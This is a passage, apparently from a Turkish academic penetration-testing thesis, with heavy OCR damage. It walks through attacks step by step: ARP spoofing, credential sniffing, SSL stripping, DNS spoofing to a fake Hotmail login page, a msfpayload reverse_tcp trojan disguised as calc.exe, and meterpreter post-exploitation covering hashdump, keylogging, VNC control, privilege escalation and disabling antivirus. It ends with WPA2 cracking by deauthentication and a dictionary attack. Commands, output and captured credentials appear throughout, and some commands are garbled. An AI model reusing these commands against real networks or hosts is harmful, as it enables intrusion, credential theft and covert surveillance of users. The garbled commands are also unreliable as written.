saglayabilmeleri icin MAC adresini bilmeleri gerekiyor. Ip adresini biliyor fakat MAC
adres bilinmiyorsa ART &nbellege bakiliyor. Istenilen MAC adresi ART 6nbelleginde
de yok ise ARP istek gonderir, istek gonderilen bilgisayarlar Ip adresi uyusmuyorsa cevap

vermez. ARP onbellegine IP adresini ve MAC adreslerini eklerler.

ARP Zehirlenmesi:

Arp spoofing saldirist yapan kisilerin, Ip ve MAC adreslerinin eslesme olaylarinda etken
olup, bilgisayarlara yapilan miidahaleler olarak da tanimlayabiliriz. Saldir1 yapan kisiler,
kars1 bilgisayarlarin ARP o6nbellegine kendi MAC adresini ve ag cihazina da karsi
bilgisayarin MAC ini yazdirirsa araya girmis olur. Boylece, saldirganin hedefledigi biitiin
trafik ikisi arasina donecek ve lizerinden gegecektir. Bu trafik kontrolii neticesinde saldir1

gerceklestiren sahis, trafik dinlemesi yapabilir ve biitiin degistirme yetkisine sahip olur.

SYN Taramast:

SYN taramasi yapilarak agdaki agik portlarin ve makinalarin goriilmesi saglanmistir.
Terminal kismina “Route -n” komutunu yazar bunu elde edebiliriz ve bundan sonra hedef

sistemin bilgileri 6niimiize gelmistir.

IP Yonlendirme:

Kali Linux isletim sistemi,agdaki diger kullanicilardan gelen paketleri yapisi geregi
azaltir. MTIM testi i¢in IP yonlendirme yapilmas: gerekmektedir. Buda IP paketlerinin
aga yonlendirme islemidir ve aktif hale getirilmesi gerekmektedir. Buda ufak bir komutla
ger¢eklesmektedir. Kali Linux te terminal kismina “cat/proc/sys/net/ipv4/ip forward”
komutunu calistirtyoruz, eger donen paket 0 ise yonlendirme pasif durumdadir ve aktif
hale getirmek i¢inde su komutu kullaniriz “echo 1 > /proc/sys/net/ipv4/ip_forward” boyle

ip yonlendirmemizi saglayabiliriz.
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ARP Spoofing:

Ag araci ile Saldirilan sistem arasina giren Arpspoof aract Kali Linux igerisinde yer
almaktadir. Saldirgan tarafindan Arp paketleri olusturulup kurbana yollanarak, Arp
onbellegini zehirlemeye calisir. Kurban sistemin IP sinin sonuna *“/24” ekleyerek aga
bagli olan biitlin sistemlerin Arp 6n belligine zarar verebilir. Arp onbellegi su sekilde

zehirleme islemi yapilmaktadir.

Arpspoof-i[Ag arayiizii]-t[ Kurban IP][Ag Cihazi Ip] bu komut satir1 gonderildigin kurban
hedefe siirekli Arp yanit paketleri gonderilir.

Asagidaki komut satir1 ise Ag cihazinin Arp dnbellegine zehirlemek igin kullanilir.

Arpspoof —i[ Ag arayiizii]-t[Ag cihaz IP][Kurban IP] bu kout satirinda da ayni1 sekilde Ag
cthazina Arp yanit paketleri gonderilir Sekil 6.8 de goziikkmektedir. Bu komutlarinin
uygulanmasi sonucu saldir1 diizenleyen artik Kurban ile Ag cihazi arasina girerek trafigi

kendi tizerinden gegmesini saglamaktadir(BGA Security,2015).
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kali-linux-1386-gnome-vm - VMware Player (Non-commercial use only) AT

Player ~ v (' E

Applications Places ‘r B Sun Mar 9, 6:39 PM

/net/ipva/ip_forward |

root@kali: ~

View Search Terminal Help Close Window

:~# arpspoof -i eth® -t 192.168 .2 192.168.126.1

View Search Terminal

[root@ root@k E] root@k.. root@k :

Sekil 16. Arpspoof araci kullanim

File Edit View Search Terminal Help

0:c:29:d4:b6:aa 0:50:56:fd:8:58 0806 42: arp reply 192.168.126.128 is-at 0:c:29:d4:b6
:aa
0:c:29:d4:b6:aa 0:50:56:fd:8:58 0806 42: arp reply 192.168.126.128 is-at 0:c:29:d4:b6
aa

0:c:29:d4:b6:aa 0:50:56:fd:8:58 0806 42: arp reply 192.168.126.128 is-at 0:c:29:d4:b6
:aa

root@kali: ~

File Edit View Search Terminal Help

0:c:29:d4:bb6:aa 0:c:29:64:48:f 0806 42: arp reply 192.168.126.2 is-at 0:c:29:d4:b6:
aa

0:c:29:d4:b6:aa 0:c:29:64:48:f 0806 42: arp reply 192.168.126.2 is-at 0:c:29:d4:b6:

Sekil 17. Gonderilen yamtlar

Trafigin dinlenmesi i¢in 3 ara¢ Ornegi verebiliriz bu araglarda Kali Linux icerisinde

gelmektedir. Bunlar Urlsnarf, Drifnet, Wireshark araglaridir. Urlsnarf araci hedefin
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istekte bulundugu ani dinleyebilir su komutlarda ¢alisir “urlsnarf —i[Ag adi1] “ Hedef
sistemini ¢ikis yaptigi siteleri buradan gorebiliriz. Drifnet ise hedef bilgisayarin tarayicida

yer alan yani istekte bulundugu sayfalardaki resimleri indirebiliriz. Komutu su sekildedir:

“drifnet —i[Ag Adi]”. Bu sekilde calistirdiktan sonra resimleri indirebilir ve bu resimler

/Tmp klasoriine kaydedilmektedir.

Wireshark araciyla yine tizerimizden gegen trafikten dinleme yapacagiz. Wireshark
actiktan sonra akan trafigi ve paketleri asagida Sekil 18 gorebiliriz. Pakete sag tiklayin
ve icerdigi verileri agmak i¢in TCP akisini izleyerek kullanicinin oturum a¢gma kimlik
bilgilerini, yani kullanic1 ad1 ve sifresini agikga elde edebiliriz. Bunu da Sekil 19 da
gorebiliriz(Cybirvie,2018).

Ly ma - - - W e e g e e e
http B ~ | Expr
No. Time Source Destination Protocol Length Info
27 3.918434822 192.168.1.44 34.217.87.81 HTTP 537 GET /dvwa/vulnerabilities/brute/?username=pablo&password=coca
40 3.287583239 34.217.87.81 102.168.1.44 HTTP 407 HTTP/1.1 200 OK (text/html)
346 70.099436430 192.168.1.44 34.217.87.81 581 GET /dwvwa/vulnerabilities/brute/?username=pablo&password=1etm
355 70.354802397 34.217.87.81 192.168.1.44 HTTP 1892 HTTP/1.1 280 OK (text/html)
1 360 70.368923992 102.168.1.44 34.217.87.81 HTTP 589 GET /dvwa/hackable/users/pablo.jpg HTTP/1.1
367 70.625162397 34.217.87.81 192.168.1.44 HTTP 1864 HTTP/1.1 200 OK (JPEG JFIF image)
454 79.279781982 192.168.1.44 34.217.87.81 HTTP 537 GET /dvwa/vulnerabilities/brute/ HTTP/1.1
458 79.288494380 192.168.1.44 34.217.87.81 HTTP 537 GET /dvwa/vulnerabilities/brute/ HTTP/1.1
466 79.547272589 34.217.87.81 192.168.1.44 HTTP 1831 HTTP/1.1 288 OK (text/html)
477 79.558745717 34.217.87.81 192.168.1.44 HTTP 1831 HTTP/1.1 200 OK (text/html)

Sekil 18. Wireshark ciktilari

Wireshark - Follow TCP Stream (tcp.stream eq 22) - wireshark_-eth0.20180503.. @ @ ©

- +od? . O7.01L
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/
20100101 Firefox/45.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,"/
*;q=0.8
Accept-Lanquaqge: en-US.en:a=0.5

username=pablo&password=letmeinglogin=Login HTTP/1.1 I

Sekil 19. Wireshark’dan elde edilen sifreler
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4.1.4 SSL Trafiginde Ag ile Hedef Arasina Girme

SSL Sunucu ve kullanict arasindaki veri aktarimini sifreleyerek veren protokoldiir. SSL
protokolii olan bir trafikte saldirinin olumlu ge¢me olma olasilig1 diisiiktiir ¢linkii
saldirganin sahte sertifikayr hedefe kabul ettirmesi gerekmektedir. Eger kabul ettiremez
ise tarayici tarafindan trafik engellenir. Standart tarayicilar giivenlik 6nlemleri almaya
baslamislardir. Girmis olduklar1 sayfay1 engellemek adina bir takim 6nlemler alsa da ¢ok

da basarili olduklar: séylenemez.

Https ve http baglant1 saglayabilen Hotmail,facebook,gmail gibi siteler SSL https 443.
Portunu kullanmay1 tercih ederler. Eger kullanici 80. Porttan baglanmak isterse http
tizerinden baglant1 kurmalarini saglamaktadir. Saldirganlarin bu tarz baglantilara karsi
aciklar1 birgok arag¢ kullanmaktadir. Bunlardan bir tanesi de SSLTRIP aracidir. Trafik http
lizerinden yiiriidiigiinden saldiriya acik bir konuma gelir. Oncelikle SSL oturumlarinda
araya girme saldiris1 yaparken Ip forwarding araci agilir. Agmak icin “echo "1" >

/proc/sys/net/ipv4/ip_forward” komutu girilir.

Daha sonra saldirgan 80.porttan gelen trafigi 10000. porta yonlendirerek 10000. Porttan

da baglantili sitenin 80. Portuna yonlendirilir.

“iptables —t nat —~A PREROUTING —p tcp —dport —dport 80 -] REDIRECT —to-port
10000”. Daha sonra sslstrip araci galistirilarak 10000. Port dinlenmeye baslanir. Bu andan
itibaren saldirtya ugrayan kullanici yonlendirmeyle SSL ‘siz sayfaya yonlendirilerek
kurbanin kullanic1 adi ve sifreyi girmesi beklenecektir. Sslstrip —a(parametresi ile biitiin

http ve Https trafigi kaydedilir.)-k(parametresi ile biitiin oturumlar iptal edilir.)-f.

52



~# ip
RECT --to-port 1
~#

recent call last):
strip"”, line 105, in main
un()
/1ib/python2.7/dist -packages/twisted/internet/base.py line 1192, i
n run
self.mainlLoop()

Sekil 20. Sslstrip araci
Devaminda agagida Sekil 20 ‘de de goriildiigii gibi islem devam ettirmek i¢in ARPspoof

aracini kullaniyoruz.

:~# arpspoof -t 192.168.1.34 192.168.1.1
:5d:4c 0:c:29:f1:99:0 0806 42: arp reply 192.168.1.1 is-at 0:50:56:2

:5d:4c 0:c:29:f1:99:0 0806 42: arp reply 192.168.1.1 is-at 0:50:56:2

Sekil 21. Arpspoof

Arpspoofla zehirledikten sonra Ettercap araciyla dinlemeye basliyoruz. ettercap

~# ettercap -T -q -1 eth®

ettercap 0.8.2 1q 5 Ette ) ent Team

Sekil 22. Ettercap hedef dinleme

Isletim sistemi iizerinden Udemy.com online egitim sitesine baglandigimizda ettercap
araciligiyla kullanici adi ve sifreyi yakaliyoruz. Web sayfa adresleri https den http ye
olarak degistirildi ve log in bilgileri kazanmis olduk. Bunuda Sekil 23’ te gorebiliriz.
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: TESTPASSWORD INFO: http:

WRVhy9&locale=tr TR&email

Sekil 23. Ettercap yakanalan bilgiler

Ayrica belirtmeliyim ki; Sslstrip aracinin log dosyasinda username ve password bilgileri

bulunmaktadir.

o “ISt:?'log Kaydet |2 @ @ @
1-14 10:20:44,556 Sending header: content-type : application/x-www-form-urlencoded; charset=UTF-8

1-14 10:20:44,556 SECURE POST Data (www.udemy.com):
ddlewaretoken=JE53sVQcN0ZaiusVSm40dVlpanWRVhy9&locale=tr_TREemail=test%40udemy .comipassword=TESTPASSWORD&displayType=ajax
1-14 10:20:44,866 Got server response: HTTP/1.1 4063 FORBIDDEN

Sekil 24. Sslstrip log dosyasi

Bu durumlara diigmemek i¢in ise kullanmis oldugumuz browser ayarlarini her zaman

“HTTPS” kullanimini zorunlu hale getirmemiz gerekmektedir(Erbas,2016).

4.1.5 DNS Aldatmacasi Birlikte Ortadaki Adam Saldirisi

Son ve Shmatikov DNS Spoofing saldirisini su sekilde belirtmektedirler. DNS, internet
altyapisinin 6nemli bir diglisidir. DNS nin temel gorevi, internet adlarindan IP adreslerine
¢Oziimlemektir. Bu 6nemli gorevi neticesinde DNS ye kars1 saldirilar gergeklestirilmekte
ve bunlar raporlanmaktadir. Spam ve Phishing saldirilart DNS altyapisi ile kolayca

gerceklestirildiginden saldir1 noktalar1 bu merkezli ger¢eklesmektedir.
DNS, UDP protokoliine ve UDP'ye dayanir, giivenlik temel destegi degildir.

DNS sahtekarlig1 saldiris1 veya DNS o6nbellek zehirlenmesi saldirisi, DNS altyapisina
yapilan en tehlikeli saldiridir. DNS zehirlenmesi saldirisinin alan adlar ile IP adresleri
arasinda yanlis esleme yapilabilecegini goriilmektedir. DNS protokolii, onbellek
zehirlenmesine kars1 savunmasizdir, ¢iinkii IP adresleri ¢oziimlemesi internette neredeyse

her yerde yetkili sunucular tarafindan yapilabilir. Saldir1 yapacak olan kisi, sorumlu DNS
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sunucusunu ele gegirip degistirilmis verilerle zehirleyebilir. Ornek olarak yapacak

olursak siralama:

Sosyal Miihendislik araci olarak Kali Linux gibi isletim sistemlerinde hazir olarak
kullanilan araglar yardimiyla ve bu araglar lizerinden oltalama saldirist yapilarak 6rnek
bir site kodlar1 kopyalanarak, ardindan saldir1 yapilacak olan kullaniciya ortadaki adam
saldiris1 yapilarak, kullanici isteklerinden dns spoofing araci karsilik vererek, kullaniciyt
sahte siteye yonlendirerek, saldirgan istedigi bilgileri elde edebilir. Bu atagin bastan

itibaren su sekilde saldir1 noktalar1 olacaktir.

[k saldirimiz IP forwarding araci ile echo 17> /proc/sys/net/ip_forward ile aktif hale
getirilir. Aktif edildikten sonra fake web sayfasini olusturup dns spoof araci igin
hazirlamis oldugumuz dns kayitlarimizi dosyamizi olustururuz. Ornegin 192.168.1.76
www.hotmail.com, 192.168.1.76 *.hotmail.com txt dosyamizi olustururuz. Daha sonra
MITM(ortadaki adam saldiris1)

“#arpspoof —i eth0 —t 192.168.1.76 192.168.1.1” komutu ile saldirty1 baslatiriz ve dinlemeye
aliriz.Arpspoof saldirisindan sonra Dns  Spoof aracmi #dnsspoof —i eth0 —

froot/desktop/dnsaldat.txt aktif hale getiririz.

¢ fakekolaynett.com/outiookdeneme.htmi A B ¥ 1

Bz Outlook

Microsoft account What's this?

Keep me signed in

Can't access your account?

Sign in with a single-use code

Outlook.com Mobile

Take your email on the go and never miss a thing

Don't have a Microsoft account? Sign up now

Sekil 25. DNS Spoof sonrasi kullanicinin yonlendirildigi sayfa
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Talep edilen Hotmail sayfasina yapilan sorgulama ile yanlis IP adresi gonderilerek
kullanic1 sahte web sayfasina yonlendirilir. Son kullanicinin dikkat etmesi gereken Sekil
25’te goriildiigii gibi URL de sertifika kismidir. Kullacinin girmis oldugu kullanici ad1 ve
sifre sekil 26 ‘da gosterilmistir.

il B = D FrrmmwaTY

[email]

[pass] =>

[defaul t_persister t] =0

Sekil 26. Fake Hotmail den alinan kimlik bilgisi

4.2 Parola Saldir1 Testleri Sisteme Erisim

Sistemlere yapilacak saldirilarla parolalari ele gegirme testi yapilacaktir.

4.2.1 Windows Host Sifre Kirma Ataklar1

Sistemini ele gecirdigimiz kullanicinin bunu agiklamistik sam dosyalarini altinda
gizlenen sifreleri ¢oziimleyip sifreleri kirmuistik. Ilk &nce sistemini ele gecirdigimiz
kullanicinin bilgi msfpayload windows/meterpreter/reverse_tcp {YOUR IP} {PORT} R
j msfencode -e x86/countdown -c 2 -t raw | msfencode -x /media/
{EXTERNAL_USB _DRIVE}/calc.exe -t exe -e x86/shikata ga nai -c 3 -k -0
/root/backdoors/benial.exe komutu girerek Truva atini olusturuyoruz. Yapmis oldugumuz
bu yazilimi1 apache2 web sunucusuna yerlestirerek son kullanicilarin eline ge¢mesi
saglanmaktadir. Bunu da # cp benial.exe/war/www/etc/init.d/apache2 start komutuyla

sagliyoruz.
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Zo (iteration=2)
353 (iteration=1
380 (iterationr-—:

sizZe 407 (iteration-3

encoded-pa,lcad.c e
Il unencoded payload.e. =

Sekil 27. Truva at1 hazirlanmasi

Olusturulan backdoors ve Truva ati1 son kullanict dosyay1 agtiktan sonra hedef sisteme
direk baglant1 yapilabilmektedir. Sizma testini yapan saldirgan dinlemeye alinarak
Metasploit ile dinleme noktasi olusturup, ¢agrilara cevap verilmektedir. Sisteme sizma
islemi yaptiktan sonra, artik siyah sapkali hackerlarin da en ¢ok hosuna giden kisma
gecmekteyiz. Sekil 28’ de goziiktiigli gibi meterpreter kullandigimiz payloadin ismidir ve
biz oturuma ge¢mis bulunmaktayiz. Bu oturuma gectikten yapacaklarimizla saldirimizi

ilerletelim(Simsek,2018).
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root@kali: #

E] roo tidali: ~

Sekil 28. Meterpreter oturumu

4.2.2 Shell Oturumunu Devralma

Kali Linux Terminalinde Meterpreter >Shell yazarak komut satir1 Oniimiize gelerek
karsidaki bilgisayarin CMD satirina girip kendi sistemimiz gibi karsi bilgisayarda

caligmalar yapabiliriz.

Sekil 29 Shell komutu

Sekil 28 ‘de gorildiigii gibi Windows komut satir1 Kali Linux satirimiza gelmistir.
Kullanacaginiz Dos komutlartyla hedef bilgisayar istediginiz komutlar1 ¢alistirabilir ve
degistirebilirsiniz. Ornegin \WINDOWS\System32> echo "Merhaba Sisteminiz
aciklarindan faydalandik-,-" > Hacklendiniz.txt
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13 ]

wehb sayfasi Hacklendin...

Dosya Diazen Bigim  Gérdndm  Yardim
"I-*er*haba Sisteminiz agiklarindan faydalandik-,-"

5t1, Stn 3 100%  Windows (CRLF) UTF-8
[
son proje
ayrintisi ...

Sekil 30. Shell oturumunda dosya icerik ekleme

4.2.3 Hashdump

Kali Linuxte ag¢ik olan Shell oturumu kapatmak tekrar meterpreter oturumuna gegisi

(1))

Ctrl+C sonrasinda ise “y” tusuna basarak tekrar meterpreter oturumuna gegiyoruz.

Gegtikten sonra meterpreter >hashdump girelim.

35061 484eeaad3b435 B cb38ffacdf@a84Becbdb:
164ab921c aaad3ibq3505140 GBlEBd4:::
b51464eeaad3n43SE51484ee: e Schz::

ad3ibd35b5] 48deeasdIbd 3505140 :
4 : 3adibd 35b51484aeaadibd 350514
5 aadibd 505
461 Jasad
b 35:

11008 : 44
1581 : aad3b4
sistant @ 1EE
PEMNTEST -wWINXP

Sekil 31. Hashdump

59



Sistemdeki biitiin tiim hesaplarin dokiimii elimize hashlenmis olarak gegmistir. Daha
once sifre kurmak i¢in John the ripper kullanarak almistik. Bunun bir tik daha hizli olan
rainbow saldiris1 kullanilir. Elinde bulunan biitiin sifreleri hizli bir sekilde, sik kullanilan
sifreleri de baz alarak ¢dziimlemeye, normal sozliik ve kaba kuvvet saldirilarindan daha

hizl1 sonug verir.

4.2.4 Hedef sistemde ekran goriintiisii ve Kontrol Etme

Saldirilan  sistemin ekran gorlintiisiinii  anlik ¢ekip kendi bilgisayarimizda
goriintlileyebiliriz. Bunu da meterpreter igerisinden terminalimize meterpreter >
screenshoot girerek ekran goriintiisiinii root/iklam321.jpeg olarak kaydeder. Bunu belirli
araliklarla ekran resimlerini istiyorsak ufak bash script veya ruby pyton gibi scriptlerle

arsivleyebiliriz.

Hedef sistemin sadece ekran goriintiisiinii almakla kalmayip saldir1 yaptigimiz sistemin
ekran1 canli izleyebilir, Mouse ve klavyesini kontrol edebilir bunu da Kali Linux
sistemimizden meterpreter araciligiyla VNC sunucusu acarak
gerceklestirebiliriz.”meterpreter> RUN VNC” komutu yazdiktan sonra saldirilan

sistemimize gorsel anlamda hiikmederiz.

60



Windows XP (KARATAY)[Running] -Oracle VM VirtualBox

Sefgeent

X m B
Bl ans VIV e 123 0ex

Jorrle Crreme - AdabR P asdar

N

nterrpt: use the “exit' cosmand to quit
- >

Sekil 32. Sisteme iizerinde gorsel olarak hiikmetme

4.2.5 Saldirilan Sistemde Klavyeden Yazilan Biitiin Yazilar1 Dosyalamak

Bilinen adryla Keylogger diyebiliriz. Kullanicinin klavye ile yazmis oldugu biitiin yazilar
bir dosya i¢inde toplanir ve ayiklanir. Bunu da saglamak i¢in meterpreter pay loadimizda
Run keylogrecoder komutunu kullanarak biitiin yazilanlari kayit altina alabiliriz ayriyeten
spesifik olarak bir uygulamada “chrome” gibi tarayicida yazilan kodlamalar1 6zel olarak
istesek bunun ig¢in Meterpreter payloadini Chrome.exe ye migrate edilmesi
gerekmektedir. Girilen klavye verileri sistemimizde verileri

/root/.msf4/logs/script/keylogrecorder/ icerisinde text dosyasina yiiklenir.

Meterpreter > run keylogrecorder galistirdigimiz da klavyeden tusladig: biitiin bilgiler bir

txt dosyasinin igerisine kayit olur.
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3. 120_201810611 5305, txt

Sekil 33. Keylogrecorder cahistirma ve kayit yeri

Hedef sistemde kullanici tuslamalar herhangi bir web sayfasindan kullanic1 adi ve

password girigleri yapildi.

(»/ KARAN-

ENERJI OLCUM VE PAYLASIM SISTEMLERI

OTURUMAG

Giris Yap

Tum Haklarn Sakhdir © Karansu Isi Pay dlcer ve Kalorimetre Sistemleri

Sekil 34. Keylogrecorder ile klavyedeki goriintiileri alma
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Sekil 35. Girilmis olan bilginin ¢ekilmesi

Yukaridaki adim adim gostermis oldugumuz run keylogrecorder komutu ile sniffing
baglatarak devam ettigimiz, saldirilan sistemin {izerinde yapilan tuslamalarin kayitlar
almirken, CTRL + C ikilisini girerek kayit altina aldigimiz bilgiler durduruldu ve Txt
dosyasinin igerisine kaydedildi. Kaydetmis oldugumuz bilgileri, Linux igerisinde, yolu
kopyalayarak cat komutu ile ekrana yazdirmis olduk. Girilen web sayfasindaki
kullanicinin girmis oldugu biitlin tuslarda KARATAY ardindan TAB tusuna basarak
girmis oldugu biitiin bilgiler yer almaktadir. Tabi ki girilen tuglamalari, saldir1 yapan
kisiler, teker teker ayiklayip isine yarayan bilgileri kendi biinyesinde kayit altina
alabilmektedirler. Bu islemler yapilirken saldirtya ugrayan kullanicinin higbir bilgisi

olmadan, kullanicinin sistemine kaydedilmesi dnemli bir detaydir.

4.2.6 Saldirilan Sistemde Yetki Yiikseltme

Kullanict1 Meterpreter farkli farkli islemlerde yonlendirerek kullanict sistemindeki
yetkilerimizi ylkseltip degistirebiliriz. Asagidaki Sekil 36’da goriildiigli {izere
Meterpreter > Getuid komutu ile sistem iizerindeki yetkisini 6grenebiliriz Meterpreter >

getsystem komutu ile ise kendimizi sistem iizerindeki en {ist seviyeye getirebiliriz.
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Sekil 36. Hedef sistemde yetki yiikseltme

4.2.7 Saldirilan Sistem Hakkinda Iceriden Komutlarla Bilgi Toplama

Meterpreter Komutu {izerinde yazacagimiz winemum komutu ile saldirilan sistemden
toplanabilecek biitiin bilgileri alarak, dosyalar halinde saldirganin sisteminde kayit altinda
olan, bu bilgileri, kullanici hesaplari, Arp girdileri ve ¢iktilar, yiiklenen uygulamalar ve
yazilimlar, ag ara yiizleri, ps bilgileri gibi bir¢cok saldirgan tarafindan kullanabilecek
biitiin bilgiler kaydedilir. Meterpreter >run winemum komutu ile bu saldiriyr
gerceklestirerek ihtiyacimiz olan Verileri ¢ekebiliriz. Bagka bir komut olan Meterpreter

>run scraper komutunu da bilgi toplamada kullanabiliriz.

Mon Dct 15, 12:48 AM

root@kali: =

Sekil 37. Saldirilan sistemden bilgi toplama

4.2.8 Saldirilan Sistemde Anti viriis Sistemini Kapatma

Sizma saldirilar1 yaparken en biiyiik sorunlardan bir tanesi de uzak baglanti yaptigimiz

bilgisayarda olan anti viriis yazilimidir. Yapacagimiz saldirilarda, Saldirinin biiyiik
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Olgekli veya kiiciik dlgekli olmasint etkileyecek olan anti virlisler yazacagimiz komut
meterpreter > run killav, anti viriisiin yapacagi korumayi durdurabilir ve sonlandirabiliriz.

Killav komutu a¢ilim1 Kill A(anti) V(viriis) diyebiliriz.

Sekil 38. Saldirilan sistemden anti viriis Sonlandirma

Bir bagka anti viriis ve firewall kapatma meterpreter komutu igerisinde meterpreter >

run getcountermeasure komutunu yazarak yazilimlara ayni sekilde miidahale edebiliriz.

4.3. Kablosuz Ag Testleri

4.3.1 Wep ve WPAZ Sifrelerini Kirma Saldirilar

Wep sifreleme icerisinde bir¢ok zayiflik bulundurmaktadir. Sifre karmagikligi SSID’ nin
sifreli olmasi ve MAC adreslerinin ayarlanmis olmasi bu sifrelerin ¢6ziimlenmesine etken
degildir. Yapmis oldugumuz testte gizli olan SSID tespit edilerek Wep sifresi alinmustir.
Yapacagimiz testte paket iletimini saglayarak kablosuz ag1 monitér durumuna alinmstir.
Dinleme islemi igin bu islemler 6nemlidir. Bunun i¢in kullanacagimiz method dortlii el
sikisma olacaktir bununla birlikte trafik igerisinden paket yakalamak ic¢in airodump-ng
araci ile tespit edilip yakalanmasi, aircrack-ng araci ile de sifre ¢oziimleyecek ve key
aliacaktir. Yapacagimiz saldirida oncelikle sanal kablosuz ag adaptorii tanimlamasi
yaparak kablosuz yaymlarin dinlenebilmesi tanimladigimiz ag karti iizerinden monitor
mode alinir ve “wlanOmon” olusturulur. Monitér mode kullanacagimiz komut sudur

“airmon —ng start wlan0”.
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:~# airmon-ng start wlan@

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
634 NetworkManager
710 dhclient
943 wpa_supplicant
Interface Driver Chipset

wlan@ rt18192cu Realtek Semiconductor Corp. RTL8192CU 802.11n WLAN Adapter

(mac80211 monitor mode vif enabled for [phy@]wlan® on [phy@]lwlanGmon)
(mac80211 station mode vif disabled for [phy@]wlanQ)

Sekil 39. Wlan0 arayiizii monitéor moda alinmasi

Monitér durumunda “wlanOmon” mac adresi degistirilmesi gerekmektedir. Bu yiizden
“ifconfig wlanOmon down” komutuyla ara yiiz iptal edilerek “macchanger -r wlanOmon”

komutuyla da random bir mac adresi belirlenir.

:~# macchanger -r wlanG@mon
Current MAC: ec:08:6b:12:0b:75 (unknown)
Permanent MAC: ec:08:6b:12:0b:75 (unknown)
New MAC: ee:4c:d7:24:ac:b6 (unknown)

Sekil 40. Mac Adresinin Degisimi

Bu safhalardan sonra bulunabilen biitiin kablosuz aglar artik dinlenebilmektedir. Bunu da
“airodum-ng wlanOmon” komutuyla yapiyoruz. Sekil 41 ‘de goriildiigii gibi bir¢ok wifi
baglant1 géziikmektedir, agmis oldugumuz “test wifi” baglantisin1 kirmaya calisacagiz.

][ Elapsed: 6 s ][ 2021-01-04 09:15
PWR Beacons #Data, #/s CIPHER AUTH ESSID

-37 24 : 5 CCMP  PSK test-wifi
=97 13 ] ] de. CCMP ™ PSK .

=Tz 8 : CCMP  PSK w

5 40 Al 0 e. CCMP  PSK

=77 10 ; CCMP  PSK

-97 4

STATION Rate Lost Frames Probe

(not associated) 84:55:A5:54:B1:55 $ 33 2
(not associated) 0C:D2:92:3C:8C:14 =
(not associated) 44:6D:57:21:6B:BA ¢ 38
94:B4:0F:4F:3D:A1 B8:98:F7:08:AE:26 0

~#

Sekil 41. Tespit edilen kablosuz aglarin dinlenmesi
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Saldirmak istedigimiz sistemde kullanici erisimine baglanan her kisiden paket
yakalanacaktir. Test wifi adi altindaki saldirt noktamiz da bagka bir kullanici istegi

gonderene kadar dinleriz

airodump-ng -c 6 -w wpacrack —bssid 94:B4:0F:4F:3D:A2 --ivs wlanOmon bu komutun
anlami sudur 6.kanaldan yayin aldigimiz yukaridaki mac adresi olan test wifi kullanilarak

wpacrack adli birime kaydedilecektir.

Baktik ki saldirgan uzun siire daha baglanmaz ise, agda bulunan biitiin kullanicilar
diistiriilerek baglanmak istedigimiz kullaniciyr deauth paket gonderilir. Aireplay-ng -0
100 -e test-wifi wlanOmon komutuyla baglant1 kesilerek tekrar kullanicinin baglanmasi

saglanir.

root@kali: ~

File Edit View Search Terminal Help
:~# aireplay-ng -0 100 -e test- wlfl wlnnwmon

09:23:57 Waiti r beacon frame (E F ] :
Found BSSID '94:B4:0F:4F:3D:A2" to glvan ESSID ”tabt wifi".
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac=>) .
09:23:58 Se N uth to broadcast -- BSSID: [94:B4:0F:
99:23:58 Se 1 to bros 5t BSSID: [94:B4:0F:

:23:59 Se | h to broa BSSID: [94:B4:0F:
:23:59 Se ‘0 broadcast BSSID: [94:B4:0F:
:24:00 Se to broadcast BSSID: [94:B4:0F:
:24:00 Sending | ‘o broadcast BSSID: [94:
:24:01 Se o b st -- BSSID: [94:
Se o bi -t -- BSSID: [94:
1/ -

Sekil 42. Uzun siire bilgi alinmayan aga tekrar baglanma

Diisiirmiis oldugumuz baglantilar otomatik olarak tekrar baglanma sirasina gegtiginde el

sikigmaya ait ag trafigi icerisinde airodump —ng araci ile tespit edilecektir.
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CH 6 ][ Elapsed: 5 mins ][ 2021-01-04 09:29 ][ WPA handshake: 94:B4:0F:4F:3D:A2

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
94:B4:0F:4F:3D:A2 -33 100 3649 115 0 6 54e. WPA2 CCMP PSK test-wifi
BSSID STATION PWR Rate Lost Frames Probe

94:B4:0F:4F:3D:A2 90:60:F1:DD:F9:1F -55 9e- 1 (C] 290

Sekil 43. Airodump —ng araci ile dinleme

Yukaridaki Sekil 43 ‘de sag tist kosede goriilen WPA handshake yazisinin yan tarafinda
herhangi bir MAC adresi yer aliyorsa; 4’lii el sikisma tespit edilmis olur. Ag trafiginde
yakalanip wpacrack dosyasi igerisine kayit olan paketle Kali Linux igerisinde yer alan

sozliikler yardimiyla paketin icerisinde bilgiler 6grenmeye ¢alisilmaktadir.

:~#locate rockyou
/usr/share/hashcat/masks/rockyou-1-60.hcmask
/usr/share/hashcat/masks/rockyou-2-1800.hcmask
/usr/share/hashcat/masks/rockyou-3-3600.hcmask
/usr/share/hashcat/masks/rockyou-4-43200.hcmask
/usr/share/hashcat/masks/rockyou-5-86400.hcmask

/usr/share/hashcat/masks/rockyou-6-864000.hcmask
/usr/share/hashcat/masks/rockyon-7-2592000.hcmask
/usr/share/hashcat/rules/rockyou-30000.rule
/usr/share/john/rules/rockyou-30000.rule
/usr/share/wordlists/rockyou.txt.gz

i

Sekil 44. Rockyou sozliigii ile bilgiler 6grenme

Ele gecirdigimiz wpacrack -0l.ivs dosyasi /usr/share/wordlists/rockyou.txt.gz
igerisindeki veriler yukaridaki Sekil 44 ‘de rockyou sozliigiiyle agmaya calisacagiz, eger
sozliik igerisinde ki sifrelerle paket acilabilirse, gerekli ¢oziimii elde etmis anahtar
elimizde olacaktir. Bunu da aircrack-ng -w /usr/share/hashcat/rules/rockyou-3000.rule
wpacrack-01.ivs bu komutla saglayacagiz(Karakul,2016).
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root@kali: ~
File Edit View Search Terminal Help
Aircrack-ng 1.2 rc3

04] 7200 keys tested (2677.

KEY FOUND! [ tyzwstl28 ]

Master Key : 3. OA SF 7C
68 2F 97

Transient Key : B7 48 6B
3D F6 26
ED EF DF
Cl 96 4B

EAPOL HMAC - 7A F8 39

= |

Sekil 45. Aircrack —ng ile sifre elde etme

4.4 Giivenlik Duvarlarini Test ve Atlatmak

Siber saldirilarin artis1 ve farkli saldiri gesitlerinin ¢ogalmasi yliziinden saldirilara karsi
giivenlik duvarlar1 yetersiz kalmaktadir. Farkli teknikler uygulayarak giivenlik duvarlari

